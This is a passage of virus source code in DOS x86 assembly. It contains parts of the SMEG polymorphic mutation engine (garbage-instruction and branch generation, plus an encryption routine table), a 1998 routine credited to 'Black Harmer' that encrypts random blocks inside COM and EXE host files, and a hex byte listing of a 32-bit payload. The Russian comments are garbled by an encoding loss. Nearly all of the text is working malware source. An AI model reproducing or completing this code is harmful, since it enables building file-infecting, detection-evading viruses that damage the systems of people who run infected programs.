        jmp      short finish_larger     ; otherwise adjust to data
;
do_one_byte:
        and      al,7h
        mov      bx,offset(onebyte_table-virus)
        xlat
        cmp      al,48h                   ; DEC?
        je       inc_or_dec
        cmp      al,40h                   ; or INC?
        jne      encode_1byte
inc_or_dec:
        mov      cl,al
        call     random_any_ax           ; get a garbage register
        and      al,3
        mov      bx,offset(dataarea_for_SMEG-virus+9)
                                         ; can we say "lea", boys and
                                         ; girls?
        xlat                             ; look up the register
        or       al,cl                   ; fill in the register field
encode_1byte:
        stosb
        retn
;
branch_garble:
        cmp      word ptr ds:[cJMP_patch-virus],0 ; is there an unfinished
        je       no_pending_cJMP            ; conditional jmp?
        jmp      finish_cJMP                ; if so, finish it
no_pending_cJMP:
        call     random_any_ax
        cmp      ah,6Eh
        ja       do_near_JMP
do_cond_jmp:
        and      al,0Fh                   ; encode a conditional
        or       al,70h                   ; jmp
        stosb
        mov      ds:[cJMP_patch-virus],di      ; save target offset
        stosb
        retn
do_near_JMP:
        cmp      word ptr ds:[nJMP_patch-virus],0 ; is there an unfinished
        jne      do_cond_jmp                ; near JMP pending?
        call     random_any_ax              ; if not, encode one
        cmp      al,78h                     ; either just jmp past
        jbe      encode_CALL                ; or call it too
        mov      al,0E9h                    ; encode near JMP
        stosb
        mov      ds:[nJMP_patch-virus],di         ; save location to patch
        stosw
        call     random_any_ax
        cmp      al,0AAh
        jbe      forward_CALL
go_not_branch_garble:
        jmp      not_branch_garble
forward_CALL:
        cmp      word ptr ds:[last_CALL-virus],0 ; is there a garbage CALL
        je       go_not_branch_garble      ; we can patch?
        push     di                        ; if there is, patch the CALL
        xchg     di,ax                     ; for here so there are CALLs
        dec      ax                        ; forwards as well as back-
        dec      ax                        ; wards
        mov      di,ds:[last_CALL-virus]
        sub      ax,di
        stosw
        pop      di
        jmp      not_branch_garble
encode_CALL:
        cmp      word ptr ds:[CALL_patch-virus],0 ; is there one pending?
        je       do_cond_jmp
        mov      al,0E8h                    ; encode a CALL
        stosb
        cmp      word ptr ds:[last_CALL-virus],0
        je       store_CALL_loc
        call     random_any_ax              ; 1/2 chance of replacing
        and      al,7h                      ; it (random so it's not
        cmp      al,4h                      ; too predictable)
        jae      fill_in_offset
store_CALL_loc:
        mov      ds:[last_CALL-virus],di          ; save ptr to CALL offset
fill_in_offset:
        mov      ax,di                      ; calculate CALL offset
        sub      ax,ds:[CALL_patch-virus]
        neg      ax
        stosw
        retn
;
[SMEG.ASM]
[ENCRYPT.ASM]
include macro.inc
;
encrypt:
        push_all_register
        mov      bx,offset(dataarea_for_SMEG-virus)
        mov      di,ds:[bx+targetptr-dataarea_for_SMEG]
        mov      si,ds:[bx+sourceptr-dataarea_for_SMEG]
        mov      cx,ds:[bx+datasize-dataarea_for_SMEG]
        mov      dl,ds:[bx+cryptval-dataarea_for_SMEG]
        mov      bl,ds:[bx+crypt_type-dataarea_for_SMEG]
        and      bx,0fh
        add      bx,bx
        add      bx,offset(crypt_table-virus)
encrypt_byte:
        lodsb    ;AL<- DS:[SI]
        call     word ptr [bx]
        stosb
        loop     encrypt_byte
        pop_all_register
        retn
;
crypt_table:
        dw       offset(crypt0-virus)
        dw       offset(crypt1-virus)
        dw       offset(crypt2-virus)
        dw       offset(crypt3-virus)
        dw       offset(crypt4-virus)
        dw       offset(crypt5-virus)
        dw       offset(crypt6-virus)
        dw       offset(crypt7-virus)
;
crypt0:
        xor      al,dl
        inc      dl
        retn
;
crypt2:
        xor      dl,al
        mov      al,dl
        dec      dl
        retn
;
crypt3:
        not      al
crypt4:
        xor      al,dl
        inc      dl
        inc      dl
        retn
;
crypt1:
        xor      al,dl
        neg      al
        dec      dl
        dec      dl
        retn
;
crypt5:
        add      al,dl
        inc      dl
        retn
;
crypt6:
        sub      al,dl
        dec      dl
        retn
;
crypt7:
        xor      al,dl
        dec      dl
        retn
;
[ENCRYPT.ASM]
[ENDEB.ASM]
;pp p   䠩 (c)'98 Black Harmer
;ᯮ  :
;random.asm - pp p 砩 ᥫ
;室: BX - ⥫ 䠩 (⥭/)
;      AX - p孨 p p ( COM 䠩 ⠢
;            p   3   JMP  p)
;      DX -  p p  ( COM 䠩  㪠⥫  )
;      LSEEK - ⥫ 䠩    窥 .
;       COM 䠩  0,   EXE  砫 pp 
;      ,    㤥 p.
;        p pp call_int_21,    ⠪
;      ᮤp:
;      call_int_21 proc near
;      int   21h
;      retn
;      call_int_21 endp
;Ŀ
;쪮  p뢠  䠩                        ;
number_of_blok_to_crypt_in_file=5                             ;
;                                           ;
lengh_of_blok=5                                               ;
;
encrypt_blok proc near
        pusha
        push     es ds
        push     bx
        push     cs cs
        pop      ds es
        call     init_encrypt_blok
init_encrypt_blok:
        pop      bp
        sub      bp,offset(init_encrypt_blok-encrypt_blok)
        mov      bx,ax
        xor      cx,cx
        lea      di,[bp+data_for_uncrypt-encrypt_blok]
        sub      dx,lengh_of_blok
        push     dx
next_random_number_with_popdx:
        pop      dx
next_random_number:
        push     dx
        call     random_dx
        cmp      dx,bx
        jbe      next_random_number_with_popdx
        jcxz     check_cross_noneed
        lea      si,[bp+data_for_uncrypt-encrypt_blok]
        push     cx
next_check_cross:
        lodsw    ;DS:[SI] -> AX,SI+2
        sub      ax,dx
        cmp      ax,lengh_of_blok
        jb       check_cross_failed
        cmp      ax,(0ffffh-lengh_of_blok)
        ja       check_cross_failed
        loop     next_check_cross
        pop      cx
        jmp      check_cross_noneed
check_cross_failed:
        pop      cx dx
        jmp      next_random_number
check_cross_noneed:
        xchg     ax,dx
        stosw    ;AX -> ES:[DI],DI+2
        pop      dx
        inc      cx
        cmp      cx,number_of_blok_to_crypt_in_file*2
        jbe      next_random_number
        ;p㯠  p p
        pop      bx ;⥫ 䠩
        ; p 窠  ?
        xor      cx,cx
        xor      dx,dx
        mov      ax,4201h
        call     call_int_21
        ;H 室 DX:AX
        lea      si,[bp+data_for_uncrypt-encrypt_blok]
        mov      cx,number_of_blok_to_crypt_in_file
next_encrypt_blok:
        push     cx dx ax
        ;⠭ 㪠⥫   
        xor      cx,cx
        mov      dx,[si]
        mov      ax,4201h
        call     call_int_21
        push     dx ax
        ;⠥ 
        mov      cx,lengh_of_blok
        lea      dx,[bp+encrypt_blok_buffer-encrypt_blok]
        mov      ah,3fh
        call     call_int_21
        ;p㥬 
        mov      cx,ax
        lea      di,[bp+encrypt_blok_buffer-encrypt_blok]
        mov      ax,[si+2]
        call     crypt_encrypt_one_blok
        ;⠭ 㪠⥫   
        pop      dx cx
        mov      ax,4200h
        call     call_int_21
        mov      cx,lengh_of_blok
        lea      dx,[bp+encrypt_blok_buffer-encrypt_blok]
        mov      ah,40h
        call     call_int_21
        add      si,4
        pop      dx cx
        ;⠢ 㪠⥫   
        mov      ax,4200h
        call     call_int_21
        pop      cx
        loop     next_encrypt_blok
        pop      ds es
        popa
        retn
encrypt_blok endp
;
;pp pp   pp, p ⥬  p 
;p.
;室:  ES:0000  -  ⭮⥫쭠 窠 pp
;        COM 䠩 PSP+10h:0000
;        EXE 䠩 PSP+10h:0000
;        SYS 䠩 CS:0000 (p SYS 䠩  > 64k)
decrypt_blok proc near
        pusha
        push     ds
        call     initial_decrypt_blok
initial_decrypt_blok:
        pop      bp
        sub      bp,offset(initial_decrypt_blok-decrypt_blok)
        push     cs
        pop      ds
        lea      si,[bp+data_for_uncrypt-decrypt_blok]
        mov      cx,number_of_blok_to_crypt_in_file
next_decrypt_blok:
        push     cx
        mov      cx,lengh_of_blok
        mov      di,[si]
        mov      ax,[si+2]
        call     crypt_encrypt_one_blok
        add      si,4
        pop      cx
        loop     next_decrypt_blok
        pop      ds
        popa
        retn
decrypt_blok endp
;
; p/pp 
; 室: ES:DI -  p 室 p/pp
;       AX - ᫮ pp ()
;       CX - ᪮쪮  p/pp
crypt_encrypt_one_blok proc near
        pusha
next_encrypt_byte:
        xor      es:[di],al
        add      al,ah
        inc      di
        loop     next_encrypt_byte
        popa
        retn
crypt_encrypt_one_blok endp
;
;Ŀ
;㤥 ᯮ짮 p楤p descrypt_blok  pp;
;1. 饭 2. , p p ( )       ;
data_for_uncrypt    dd number_of_blok_to_crypt_in_file dup (0);
;p p  ⥭/                           ;
encrypt_blok_buffer db lengh_of_blok dup (0)                  ;
;
[ENDEB.ASM]
[WV32\WV32.DAT]
; DB Listing created by Black Harmer's FILE2DB

db  060h,01eh,0fch,0e8h,000h,000h,000h,000h,05dh,081h
db  0edh,008h,010h,040h,000h,033h,0c0h,0beh,03ch,000h
db  0f7h,0bfh,066h,0adh,005h,000h,000h,0f7h,0bfh,096h
db  0adh,066h,03dh,050h,045h,00fh,085h,0c2h,000h,000h
db  000h,08bh,046h,074h,005h,01ch,000h,0f7h,0bfh,096h
db  0adh,005h,000h,000h,0f7h,0bfh,096h,0adh,005h,000h
db  000h,0f7h,0bfh,089h,085h,0d8h,010h,040h,000h,0b4h
db  062h,0e8h,07dh,000h,000h,000h,08eh,0dbh,067h,08eh
db  01eh,02ch,000h,033h,0f6h,0b9h,000h,001h,000h,000h
db  081h,03eh,077h,069h,06eh,062h,074h,003h,046h,0e2h
db  0f5h,083h,0c6h,00bh,08dh,0bdh,0f3h,010h,040h,000h
db  0ach,0aah,00ah,0c0h,075h,0fah,006h,01fh,0c6h,047h
db  0ffh,05ch,08dh,0b5h,0deh,010h,040h,000h,0b9h,00dh
db  000h,000h,000h,080h,036h,0e3h,046h,0e2h,0fah,08dh
db  0b5h,0deh,010h,040h,000h,0b9h,00dh,000h,000h,000h
db  0f3h,0a4h,0c6h,007h,000h,0b4h,03ch,08dh,095h,0f3h
db  010h,040h,000h,033h,0c9h,0e8h,01fh,000h,000h,000h
db  072h,03fh,08bh,0d8h,0b4h,040h,08dh,095h,043h,011h
db  040h,000h,0b9h,074h,01fh,000h,000h,0e8h,009h,000h
db  000h,000h,0b4h,03eh,0e8h,002h,000h,000h,000h,0ebh
db  022h,08dh,0bdh,0ddh,010h,040h,000h,051h,050h,068h
db  010h,000h,02ah,000h,057h,068h,000h,000h,000h,000h
db  0c3h,0c3h,090h,08eh,082h,091h,097h,087h,091h,095h
db  0cdh,086h,09bh,086h,0e3h,01fh,061h
[WV32\WV32.DAT]
